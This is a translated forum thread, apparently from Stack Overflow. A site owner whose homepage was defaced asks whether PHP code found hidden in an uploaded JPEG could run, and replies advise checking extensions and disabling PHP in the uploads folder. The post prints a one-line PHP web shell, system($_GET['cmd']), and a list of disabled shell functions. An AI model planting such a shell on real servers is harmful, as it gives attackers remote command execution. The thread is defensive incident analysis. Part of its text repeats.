昨天我的网站被攻击了。攻击者将index.php文件更改为自己的(包括他们所有的荣耀信息和问候)。我已经通知了托管公司(我们正在使用专用服务器),在我的部分,我正在尝试修复任何看起来可能是原因的东西,因为我仍然无法确定我们的服务器是如何受到攻击的,但我认为我已经找到了某些基于脚本的漏洞可能是罪魁祸首。
我们的网站有一个图像上传器表单,但是所有上传的图像都会通过使用php getimagesize函数验证它们是否确实是图像文件而不是一些代码。只有当图像类型为IMAGETYPE_GIF,IMAGETYPE_JPEG或IMAGETYPE_PNG时,它们才会被接受。否则,他们将无法上传该文件。然而,我发现一个上传的图像文件包含一个php脚本!您可以在此处下载图像:here。这是一个有效的图像文件,但是请尝试使用任何文本编辑器打开图像,您将在其中找到一个php代码:
例如,图像被上传到此位置(www.mysite.com/uploads/picodes.jpg)。请注意,文件夹uploads的权限为755。攻击者是否有办法执行系统(或任何其他命令,例如passthru,因为我们发现另一张图片隐藏了与上述相同的代码,但是它具有passthru命令),例如通过键入www.mysite.com/uploads/picodes.jpg?cmd=some command?据我所知,这是不可能的(如果有人能证明我错了,我会非常感激),除非攻击者可以将jpg文件重命名为php,即使如此,这些代码也深藏在图像内部(请查看文本编辑器中的图像以理解我的意思)。
为了预防起见,我通过将它们添加到php.ini中的disable_functions中禁用了这些php函数(exec,passthru,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,system)。
无论如何,我仍然认为攻击者并非通过Web获得访问权限,而是通过服务器漏洞,但我认为我的托管公司持不同看法。
我们的网站有一个图像上传器表单,但是所有上传的图像都会通过使用php getimagesize函数验证它们是否确实是图像文件而不是一些代码。只有当图像类型为IMAGETYPE_GIF,IMAGETYPE_JPEG或IMAGETYPE_PNG时,它们才会被接受。否则,他们将无法上传该文件。然而,我发现一个上传的图像文件包含一个php脚本!您可以在此处下载图像:here。这是一个有效的图像文件,但是请尝试使用任何文本编辑器打开图像,您将在其中找到一个php代码:
<?php
echo "<pre>"; system($_GET['cmd']); echo "</pre>";
?>
例如,图像被上传到此位置(www.mysite.com/uploads/picodes.jpg)。请注意,文件夹uploads的权限为755。攻击者是否有办法执行系统(或任何其他命令,例如passthru,因为我们发现另一张图片隐藏了与上述相同的代码,但是它具有passthru命令),例如通过键入www.mysite.com/uploads/picodes.jpg?cmd=some command?据我所知,这是不可能的(如果有人能证明我错了,我会非常感激),除非攻击者可以将jpg文件重命名为php,即使如此,这些代码也深藏在图像内部(请查看文本编辑器中的图像以理解我的意思)。
为了预防起见,我通过将它们添加到php.ini中的disable_functions中禁用了这些php函数(exec,passthru,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,system)。
无论如何,我仍然认为攻击者并非通过Web获得访问权限,而是通过服务器漏洞,但我认为我的托管公司持不同看法。
getimagesize
来验证图片是否为图片,但该函数 _不会检查文件扩展名_。它只查看文件的内容。(试一下:将picodes.jpg
重命名为picodes.php
并查看getimagesize("picodes.php")
的输出。) 因此,你还需要显式地检查上传的文件名,并确保其与getimagesize
返回的图像类型匹配。 - David Zphp_admin_flag engine off
应该是您 Apache 配置的一部分。 - derobert